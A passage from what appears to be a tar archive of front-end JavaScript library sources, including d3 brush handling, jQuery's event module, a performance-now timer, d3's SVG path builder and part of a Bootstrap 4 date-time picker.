"none"); var overlay = group.selectAll(".overlay") .attr("cursor", cursors[type]); if (event.touches) { group .on("touchmove.brush", moved, true) .on("touchend.brush touchcancel.brush", ended, true); } else { var view = select(event.view) .on("keydown.brush", keydowned, true) .on("keyup.brush", keyupped, true) .on("mousemove.brush", moved, true) .on("mouseup.brush", ended, true); dragDisable(event.view); } nopropagation(); interrupt(that); redraw.call(that); emit.start(); function moved() { var point1 = mouse(that); if (shifting && !lockX && !lockY) { if (Math.abs(point1[0] - point[0]) > Math.abs(point1[1] - point[1])) lockY = true; else lockX = true; } point = point1; moving = true; noevent(); move(); } function move() { var t; dx = point[0] - point0[0]; dy = point[1] - point0[1]; switch (mode) { case MODE_SPACE: case MODE_DRAG: { if (signX) dx = Math.max(W - w0, Math.min(E - e0, dx)), w1 = w0 + dx, e1 = e0 + dx; if (signY) dy = Math.max(N - n0, Math.min(S - s0, dy)), n1 = n0 + dy, s1 = s0 + dy; break; } case MODE_HANDLE: { if (signX < 0) dx = Math.max(W - w0, Math.min(E - w0, dx)), w1 = w0 + dx, e1 = e0; else if (signX > 0) dx = Math.max(W - e0, Math.min(E - e0, dx)), w1 = w0, e1 = e0 + dx; if (signY < 0) dy = Math.max(N - n0, Math.min(S - n0, dy)), n1 = n0 + dy, s1 = s0; else if (signY > 0) dy = Math.max(N - s0, Math.min(S - s0, dy)), n1 = n0, s1 = s0 + dy; break; } case MODE_CENTER: { if (signX) w1 = Math.max(W, Math.min(E, w0 - dx * signX)), e1 = Math.max(W, Math.min(E, e0 + dx * signX)); if (signY) n1 = Math.max(N, Math.min(S, n0 - dy * signY)), s1 = Math.max(N, Math.min(S, s0 + dy * signY)); break; } } if (e1 < w1) { signX *= -1; t = w0, w0 = e0, e0 = t; t = w1, w1 = e1, e1 = t; if (type in flipX) overlay.attr("cursor", cursors[type = flipX[type]]); } if (s1 < n1) { signY *= -1; t = n0, n0 = s0, s0 = t; t = n1, n1 = s1, s1 = t; if (type in flipY) overlay.attr("cursor", cursors[type = flipY[type]]); } if (state.selection) selection = state.selection; // May be set by brush.move! if (lockX) w1 = selection[0][0], e1 = selection[1][0]; if (lockY) n1 = selection[0][1], s1 = selection[1][1]; if (selection[0][0] !== w1 || selection[0][1] !== n1 || selection[1][0] !== e1 || selection[1][1] !== s1) { state.selection = [[w1, n1], [e1, s1]]; redraw.call(that); emit.brush(); } } function ended() { nopropagation(); if (event.touches) { if (event.touches.length) return; if (touchending) clearTimeout(touchending); touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed! group.on("touchmove.brush touchend.brush touchcancel.brush", null); } else { dragEnable(event.view, moving); view.on("keydown.brush keyup.brush mousemove.brush mouseup.brush", null); } group.attr("pointer-events", "all"); overlay.attr("cursor", cursors.overlay); if (state.selection) selection = state.selection; // May be set by brush.move (on start)! if (empty(selection)) state.selection = null, redraw.call(that); emit.end(); } function keydowned() { switch (event.keyCode) { case 16: { // SHIFT shifting = signX && signY; break; } case 18: { // ALT if (mode === MODE_HANDLE) { if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; mode = MODE_CENTER; move(); } break; } case 32: { // SPACE; takes priority over ALT if (mode === MODE_HANDLE || mode === MODE_CENTER) { if (signX < 0) e0 = e1 - dx; else if (signX > 0) w0 = w1 - dx; if (signY < 0) s0 = s1 - dy; else if (signY > 0) n0 = n1 - dy; mode = MODE_SPACE; overlay.attr("cursor", cursors.selection); move(); } break; } default: return; } noevent(); } function keyupped() { switch (event.keyCode) { case 16: { // SHIFT if (shifting) { lockX = lockY = shifting = false; move(); } break; } case 18: { // ALT if (mode === MODE_CENTER) { if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; mode = MODE_HANDLE; move(); } break; } case 32: { // SPACE if (mode === MODE_SPACE) { if (event.altKey) { if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX; if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY; mode = MODE_CENTER; } else { if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1; if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1; mode = MODE_HANDLE; } overlay.attr("cursor", cursors[type]); move(); } break; } default: return; } noevent(); } } function initialize() { var state = this.__brush || {selection: null}; state.extent = extent.apply(this, arguments); state.dim = dim; return state; } brush.extent = function(_) { return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), brush) : extent; }; brush.filter = function(_) { return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), brush) : filter; }; brush.handleSize = function(_) { return arguments.length ? (handleSize = +_, brush) : handleSize; }; brush.on = function() { var value = listeners.on.apply(listeners, arguments); return value === listeners ? brush : value; }; return brush; } event.js000064400000047334151677233360006253 0ustar00define( [ "./core", "./var/document", "./var/documentElement", "./var/isFunction", "./var/rnothtmlwhite", "./var/slice", "./data/var/dataPriv", "./core/nodeName", "./core/init", "./selector" ], function( jQuery, document, documentElement, isFunction, rnothtmlwhite, slice, dataPriv, nodeName ) { "use strict"; var rkeyEvent = /^key/, rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, rtypenamespace = /^([^.]*)(?:\.(.+)|)/; function returnTrue() { return true; } function returnFalse() { return false; } // Support: IE <=9 only // See #13393 for more info function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } function on( elem, types, selector, data, fn, one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { on( elem, type, selector, data, types[ type ], one ); } return elem; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return elem; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return elem.each( function() { jQuery.event.add( this, types, fn, data, selector ); } ); } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.get( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Ensure that invalid selectors throw exceptions at attach time // Evaluate against documentElement in case elem is a non-element node (e.g., document) if ( selector ) { jQuery.find.matchesSelector( documentElement, selector ); } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !( events = elemData.events ) ) { events = elemData.events = {}; } if ( !( eventHandle = elemData.handle ) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.dispatch.apply( elem, arguments ) : undefined; }; } // Handle multiple events separated by a space types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend( { type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join( "." ) }, handleObjIn ); // Init the event handler queue if we're the first if ( !( handlers = events[ type ] ) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); if ( !elemData || !( events = elemData.events ) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[ 2 ] && new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove data and the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { dataPriv.remove( elem, "handle events" ); } }, dispatch: function( nativeEvent ) { // Make a writable jQuery.Event from the native event object var event = jQuery.event.fix( nativeEvent ); var i, j, ret, matched, handleObj, handlerQueue, args = new Array( arguments.length ), handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[ 0 ] = event; for ( i = 1; i < arguments.length; i++ ) { args[ i ] = arguments[ i ]; } event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( ( handleObj = matched.handlers[ j++ ] ) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or 2) have namespace(s) // a subset or equal to those in the bound event (both can have no namespace). if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || handleObj.handler ).apply( matched.elem, args ); if ( ret !== undefined ) { if ( ( event.result = ret ) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, handleObj, sel, matchedHandlers, matchedSelectors, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers if ( delegateCount && // Support: IE <=9 // Black-hole SVG <use> instance trees (trac-13180) cur.nodeType && // Support: Firefox <=42 // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click // Support: IE 11 only // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) !( event.type === "click" && event.button >= 1 ) ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't check non-elements (#13208) // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { matchedHandlers = []; matchedSelectors = {}; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matchedSelectors[ sel ] === undefined ) { matchedSelectors[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) > -1 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matchedSelectors[ sel ] ) { matchedHandlers.push( handleObj ); } } if ( matchedHandlers.length ) { handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); } } } } // Add the remaining (directly-bound) handlers cur = this; if ( delegateCount < handlers.length ) { handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); } return handlerQueue; }, addProp: function( name, hook ) { Object.defineProperty( jQuery.Event.prototype, name, { enumerable: true, configurable: true, get: isFunction( hook ) ? function() { if ( this.originalEvent ) { return hook( this.originalEvent ); } } : function() { if ( this.originalEvent ) { return this.originalEvent[ name ]; } }, set: function( value ) { Object.defineProperty( this, name, { enumerable: true, configurable: true, writable: true, value: value } ); } } ); }, fix: function( originalEvent ) { return originalEvent[ jQuery.expando ] ? originalEvent : new jQuery.Event( originalEvent ); }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { this.focus(); return false; } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( this.type === "checkbox" && this.click && nodeName( this, "input" ) ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } } }; jQuery.removeEvent = function( elem, type, handle ) { // This "if" is needed for plain objects if ( elem.removeEventListener ) { elem.removeEventListener( type, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !( this instanceof jQuery.Event ) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: Android <=2.3 only src.returnValue === false ? returnTrue : returnFalse; // Create target properties // Support: Safari <=6 - 7 only // Target should not be a text node (#504, #13143) this.target = ( src.target && src.target.nodeType === 3 ) ? src.target.parentNode : src.target; this.currentTarget = src.currentTarget; this.relatedTarget = src.relatedTarget; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || Date.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { constructor: jQuery.Event, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, isSimulated: false, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && !this.isSimulated ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Includes all common event props including KeyEvent and MouseEvent specific props jQuery.each( { altKey: true, bubbles: true, cancelable: true, changedTouches: true, ctrlKey: true, detail: true, eventPhase: true, metaKey: true, pageX: true, pageY: true, shiftKey: true, view: true, "char": true, charCode: true, key: true, keyCode: true, button: true, buttons: true, clientX: true, clientY: true, offsetX: true, offsetY: true, pointerId: true, pointerType: true, screenX: true, screenY: true, targetTouches: true, toElement: true, touches: true, which: function( event ) { var button = event.button; // Add which for key events if ( event.which == null && rkeyEvent.test( event.type ) ) { return event.charCode != null ? event.charCode : event.keyCode; } // Add which for click: 1 === left; 2 === middle; 3 === right if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) { if ( button & 1 ) { return 1; } if ( button & 2 ) { return 3; } if ( button & 4 ) { return 2; } return 0; } return event.which; } }, jQuery.event.addProp ); // Create mouseenter/leave events using mouseover/out and event-time checks // so that event delegation works in jQuery. // Do the same for pointerenter/pointerleave and pointerover/pointerout // // Support: Safari 7 only // Safari sends mouseenter too often; see: // https://bugs.chromium.org/p/chromium/issues/detail?id=470258 // for the description of the bug (it existed in older Chrome versions as well). jQuery.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mouseenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; } ); jQuery.fn.extend( { on: function( types, selector, data, fn ) { return on( this, types, selector, data, fn ); }, one: function( types, selector, data, fn ) { return on( this, types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each( function() { jQuery.event.remove( this, types, fn, selector ); } ); } } ); return jQuery; } ); performance-now.coffee000064400000001051151677234650011034 0ustar00if performance? and performance.now module.exports = -> performance.now() else if process? and process.hrtime module.exports = -> (getNanoSeconds() - nodeLoadTime) / 1e6 hrtime = process.hrtime getNanoSeconds = -> hr = hrtime() hr[0] * 1e9 + hr[1] moduleLoadTime = getNanoSeconds() upTime = process.uptime() * 1e9 nodeLoadTime = moduleLoadTime - upTime else if Date.now module.exports = -> Date.now() - loadTime loadTime = Date.now() else module.exports = -> new Date().getTime() - loadTime loadTime = new Date().getTime() index.d.ts000064400000000332151677234650006463 0ustar00// This file describes the package to typescript. /** * Returns the number of milliseconds since the page was loaded (if browser) * or the node process was started. */ declare function now(): number; export = now; path.js000064400000010322151677250570006053 0ustar00var pi = Math.PI, tau = 2 * pi, epsilon = 1e-6, tauEpsilon = tau - epsilon; function Path() { this._x0 = this._y0 = // start of current subpath this._x1 = this._y1 = null; // end of current subpath this._ = ""; } function path() { return new Path; } Path.prototype = path.prototype = { constructor: Path, moveTo: function(x, y) { this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y); }, closePath: function() { if (this._x1 !== null) { this._x1 = this._x0, this._y1 = this._y0; this._ += "Z"; } }, lineTo: function(x, y) { this._ += "L" + (this._x1 = +x) + "," + (this._y1 = +y); }, quadraticCurveTo: function(x1, y1, x, y) { this._ += "Q" + (+x1) + "," + (+y1) + "," + (this._x1 = +x) + "," + (this._y1 = +y); }, bezierCurveTo: function(x1, y1, x2, y2, x, y) { this._ += "C" + (+x1) + "," + (+y1) + "," + (+x2) + "," + (+y2) + "," + (this._x1 = +x) + "," + (this._y1 = +y); }, arcTo: function(x1, y1, x2, y2, r) { x1 = +x1, y1 = +y1, x2 = +x2, y2 = +y2, r = +r; var x0 = this._x1, y0 = this._y1, x21 = x2 - x1, y21 = y2 - y1, x01 = x0 - x1, y01 = y0 - y1, l01_2 = x01 * x01 + y01 * y01; // Is the radius negative? Error. if (r < 0) throw new Error("negative radius: " + r); // Is this path empty? Move to (x1,y1). if (this._x1 === null) { this._ += "M" + (this._x1 = x1) + "," + (this._y1 = y1); } // Or, is (x1,y1) coincident with (x0,y0)? Do nothing. else if (!(l01_2 > epsilon)); // Or, are (x0,y0), (x1,y1) and (x2,y2) collinear? // Equivalently, is (x1,y1) coincident with (x2,y2)? // Or, is the radius zero? Line to (x1,y1). else if (!(Math.abs(y01 * x21 - y21 * x01) > epsilon) || !r) { this._ += "L" + (this._x1 = x1) + "," + (this._y1 = y1); } // Otherwise, draw an arc! else { var x20 = x2 - x0, y20 = y2 - y0, l21_2 = x21 * x21 + y21 * y21, l20_2 = x20 * x20 + y20 * y20, l21 = Math.sqrt(l21_2), l01 = Math.sqrt(l01_2), l = r * Math.tan((pi - Math.acos((l21_2 + l01_2 - l20_2) / (2 * l21 * l01))) / 2), t01 = l / l01, t21 = l / l21; // If the start tangent is not coincident with (x0,y0), line to. if (Math.abs(t01 - 1) > epsilon) { this._ += "L" + (x1 + t01 * x01) + "," + (y1 + t01 * y01); } this._ += "A" + r + "," + r + ",0,0," + (+(y01 * x20 > x01 * y20)) + "," + (this._x1 = x1 + t21 * x21) + "," + (this._y1 = y1 + t21 * y21); } }, arc: function(x, y, r, a0, a1, ccw) { x = +x, y = +y, r = +r; var dx = r * Math.cos(a0), dy = r * Math.sin(a0), x0 = x + dx, y0 = y + dy, cw = 1 ^ ccw, da = ccw ? a0 - a1 : a1 - a0; // Is the radius negative? Error. if (r < 0) throw new Error("negative radius: " + r); // Is this path empty? Move to (x0,y0). if (this._x1 === null) { this._ += "M" + x0 + "," + y0; } // Or, is (x0,y0) not coincident with the previous point? Line to (x0,y0). else if (Math.abs(this._x1 - x0) > epsilon || Math.abs(this._y1 - y0) > epsilon) { this._ += "L" + x0 + "," + y0; } // Is this arc empty? We’re done. if (!r) return; // Does the angle go the wrong way? Flip the direction. if (da < 0) da = da % tau + tau; // Is this a complete circle? Draw two arcs to complete the circle. if (da > tauEpsilon) { this._ += "A" + r + "," + r + ",0,1," + cw + "," + (x - dx) + "," + (y - dy) + "A" + r + "," + r + ",0,1," + cw + "," + (this._x1 = x0) + "," + (this._y1 = y0); } // Is this arc non-empty? Draw an arc! else if (da > epsilon) { this._ += "A" + r + "," + r + ",0," + (+(da >= pi)) + "," + cw + "," + (this._x1 = x + r * Math.cos(a1)) + "," + (this._y1 = y + r * Math.sin(a1)); } }, rect: function(x, y, w, h) { this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y) + "h" + (+w) + "v" + (+h) + "h" + (-w) + "Z"; }, toString: function() { return this._; } }; export default path; js/tempusdominus-bootstrap-4.js000064400000154331151677263570012640 0ustar00//noinspection JSUnusedGlobalSymbols /* global DateTimePicker */ const TempusDominusBootstrap4 = ($ => { // eslint-disable-line no-unused-vars // ReSharper disable once InconsistentNaming const JQUERY_NO_CONFLICT = $.fn[DateTimePicker.NAME], verticalModes = ['top', 'bottom', 'auto'], horizontalModes = ['left', 'right', 'auto'], toolbarPlacements = ['default', 'top', 'bottom'], getSelectorFromElement = function ($element) { let selector = $element.data('target'), $selector; if (!selector) { selector = $element.attr('href') || ''; selector = /^#[a-z]/i.test(selector) ? selector : null; } $selector = $(selector); if ($selector.length === 0) { return $selector; } if (!$selector.data(DateTimePicker.DATA_KEY)) { $.extend({}, $selector.data(), $(this).data()); } return $selector; }; // ReSharper disable once InconsistentNaming class TempusDominusBootstrap4 extends DateTimePicker { constructor(element, options) { super(element, options); this._init(); } _init() { if (this._element.hasClass('input-group')) { const datepickerButton = this._element.find('.datepickerbutton'); if (datepickerButton.length === 0) { this.component = this._element.find('[data-toggle="datetimepicker"]'); } else { this.component = datepickerButton; } } } _getDatePickerTemplate() { const headTemplate = $('<thead>').append($('<tr>').append($('<th>').addClass('prev').attr('data-action', 'previous').append($('<span>').addClass(this._options.icons.previous))).append($('<th>').addClass('picker-switch').attr('data-action', 'pickerSwitch').attr('colspan', `${this._options.calendarWeeks ? '6' : '5'}`)).append($('<th>').addClass('next').attr('data-action', 'next').append($('<span>').addClass(this._options.icons.next)))), contTemplate = $('<tbody>').append($('<tr>').append($('<td>').attr('colspan', `${this._options.calendarWeeks ? '8' : '7'}`))); return [$('<div>').addClass('datepicker-days').append($('<table>').addClass('table table-sm').append(headTemplate).append($('<tbody>'))), $('<div>').addClass('datepicker-months').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone())), $('<div>').addClass('datepicker-years').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone())), $('<div>').addClass('datepicker-decades').append($('<table>').addClass('table-condensed').append(headTemplate.clone()).append(contTemplate.clone()))]; } _getTimePickerMainTemplate() { const topRow = $('<tr>'), middleRow = $('<tr>'), bottomRow = $('<tr>'); if (this._isEnabled('h')) { topRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.incrementHour }).addClass('btn').attr('data-action', 'incrementHours').append($('<span>').addClass(this._options.icons.up)))); middleRow.append($('<td>').append($('<span>').addClass('timepicker-hour').attr({ 'data-time-component': 'hours', 'title': this._options.tooltips.pickHour }).attr('data-action', 'showHours'))); bottomRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.decrementHour }).addClass('btn').attr('data-action', 'decrementHours').append($('<span>').addClass(this._options.icons.down)))); } if (this._isEnabled('m')) { if (this._isEnabled('h')) { topRow.append($('<td>').addClass('separator')); middleRow.append($('<td>').addClass('separator').html(':')); bottomRow.append($('<td>').addClass('separator')); } topRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.incrementMinute }).addClass('btn').attr('data-action', 'incrementMinutes').append($('<span>').addClass(this._options.icons.up)))); middleRow.append($('<td>').append($('<span>').addClass('timepicker-minute').attr({ 'data-time-component': 'minutes', 'title': this._options.tooltips.pickMinute }).attr('data-action', 'showMinutes'))); bottomRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.decrementMinute }).addClass('btn').attr('data-action', 'decrementMinutes').append($('<span>').addClass(this._options.icons.down)))); } if (this._isEnabled('s')) { if (this._isEnabled('m')) { topRow.append($('<td>').addClass('separator')); middleRow.append($('<td>').addClass('separator').html(':')); bottomRow.append($('<td>').addClass('separator')); } topRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.incrementSecond }).addClass('btn').attr('data-action', 'incrementSeconds').append($('<span>').addClass(this._options.icons.up)))); middleRow.append($('<td>').append($('<span>').addClass('timepicker-second').attr({ 'data-time-component': 'seconds', 'title': this._options.tooltips.pickSecond }).attr('data-action', 'showSeconds'))); bottomRow.append($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'title': this._options.tooltips.decrementSecond }).addClass('btn').attr('data-action', 'decrementSeconds').append($('<span>').addClass(this._options.icons.down)))); } if (!this.use24Hours) { topRow.append($('<td>').addClass('separator')); middleRow.append($('<td>').append($('<button>').addClass('btn btn-primary').attr({ 'data-action': 'togglePeriod', tabindex: '-1', 'title': this._options.tooltips.togglePeriod }))); bottomRow.append($('<td>').addClass('separator')); } return $('<div>').addClass('timepicker-picker').append($('<table>').addClass('table-condensed').append([topRow, middleRow, bottomRow])); } _getTimePickerTemplate() { const hoursView = $('<div>').addClass('timepicker-hours').append($('<table>').addClass('table-condensed')), minutesView = $('<div>').addClass('timepicker-minutes').append($('<table>').addClass('table-condensed')), secondsView = $('<div>').addClass('timepicker-seconds').append($('<table>').addClass('table-condensed')), ret = [this._getTimePickerMainTemplate()]; if (this._isEnabled('h')) { ret.push(hoursView); } if (this._isEnabled('m')) { ret.push(minutesView); } if (this._isEnabled('s')) { ret.push(secondsView); } return ret; } _getToolbar() { const row = []; if (this._options.buttons.showToday) { row.push($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'data-action': 'today', 'title': this._options.tooltips.today }).append($('<span>').addClass(this._options.icons.today)))); } if (!this._options.sideBySide && this._hasDate() && this._hasTime()) { let title, icon; if (this._options.viewMode === 'times') { title = this._options.tooltips.selectDate; icon = this._options.icons.date; } else { title = this._options.tooltips.selectTime; icon = this._options.icons.time; } row.push($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'data-action': 'togglePicker', 'title': title }).append($('<span>').addClass(icon)))); } if (this._options.buttons.showClear) { row.push($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 'data-action': 'clear', 'title': this._options.tooltips.clear }).append($('<span>').addClass(this._options.icons.clear)))); } if (this._options.buttons.showClose) { row.push($('<td>').append($('<a>').attr({ href: '#', tabindex: '-1', 